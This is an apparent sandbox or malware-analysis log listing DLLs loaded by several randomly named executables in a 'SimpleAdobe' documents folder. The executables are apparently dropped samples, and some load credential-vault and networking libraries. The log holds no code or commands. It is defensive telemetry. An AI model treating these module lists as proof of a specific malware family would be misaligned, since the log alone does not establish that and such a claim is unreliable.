Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Section loaded: propsys.dll
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Section loaded: edputil.dll
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Section loaded: appresolver.dll
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Section loaded: slc.dll
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Section loaded: sppc.dll
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: d3d11.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: dxgi.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: dxcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: devobj.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: webio.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: schannel.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: propsys.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: edputil.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: appresolver.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: slc.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: sppc.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: mscoree.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: amsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: propsys.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: sxs.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: mpr.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: scrrun.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: linkinfo.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: edputil.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: appresolver.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: slc.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: sppc.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: gpedit.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: activeds.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: dssec.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: dsuiext.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: framedynos.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: adsldpc.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: dsrole.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: logoncli.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: mpr.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: ntdsapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: authz.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: webio.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: schannel.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: amsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\SimpleAdobe\F2MwMOxTR5ZuDHHYSd2btGVy.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\F2MwMOxTR5ZuDHHYSd2btGVy.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: shfolder.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: d3d11.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: dxgi.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: dxcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: devobj.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: webio.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: schannel.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Section loaded: mscoree.dll
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Section loaded: amsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Section loaded: winmm.dll
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Section loaded: sxs.dll
Source: C:\Users\user\Documents\SimpleAdobe\Dnr7f7kJx0GzWtxbQaDXLIUA.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\Dnr7f7kJx0GzWtxbQaDXLIUA.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Section loaded: d3d11.dll
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Section loaded: dxgi.dll
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Section loaded: resourcepolicyclient.dll
